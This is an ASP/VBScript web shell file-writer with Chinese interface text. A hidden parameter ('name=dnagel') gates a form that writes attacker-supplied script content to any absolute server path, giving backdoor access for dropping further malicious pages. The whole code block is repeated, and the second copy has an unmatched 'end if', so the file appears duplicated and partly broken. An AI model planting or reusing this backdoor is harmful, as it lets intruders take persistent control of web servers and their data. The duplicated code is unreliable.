<% if request("name")="dnagel"then %>
<%
dim objFSO
dim fdata
dim objCountFile
on error resume next
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if Trim(request("syfdpath"))<>"" then
fdata = request("cyfddata")
Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)
objCountFile.Write fdata
if err =0 then
response.write "<font color=green>成功!</font>"
else
response.write "<font color=red>失败!</font>"
end if
err.clear
end if
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
response.write "<form action='' method=post>"
response.write " <b>======================================================<br>"
response.write " 创建文件程序</b><br>"
response.write " =============================================================<br>"
response.write " 本文件路径为: "
response.write server.mappath(Request.ServerVariables("SCRIPT_NAME"))
response.write " <font color='red'><br>"
response.write " <br>"
response.write " 填写绝对地址(例如 D:/web/x.asp):<br>"
response.write " </font> "
response.write " <input type=text name=syfdpath width=32 size=50>"
response.write " <br><br>脚本内容: <br><br>"
response.write " <textarea name=cyfddata cols=80 rows=10 width=32></textarea>"
response.write " <input type=submit value=创建>"
response.write "</form>"
%>
<% end if %>
<%
dim objFSO
dim fdata
dim objCountFile
on error resume next
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if Trim(request("syfdpath"))<>"" then
fdata = request("cyfddata")
Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)
objCountFile.Write fdata
if err =0 then
response.write "<font color=green>成功!</font>"
else
response.write "<font color=red>失败!</font>"
end if
err.clear
end if
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
response.write "<form action='' method=post>"
response.write " <b>======================================================<br>"
response.write " 创建文件程序</b><br>"
response.write " =============================================================<br>"
response.write " 本文件路径为: "
response.write server.mappath(Request.ServerVariables("SCRIPT_NAME"))
response.write " <font color='red'><br>"
response.write " <br>"
response.write " 填写绝对地址(例如 D:/web/x.asp):<br>"
response.write " </font> "
response.write " <input type=text name=syfdpath width=32 size=50>"
response.write " <br><br>脚本内容: <br><br>"
response.write " <textarea name=cyfddata cols=80 rows=10 width=32></textarea>"
response.write " <input type=submit value=创建>"
response.write "</form>"
%>
<% end if %>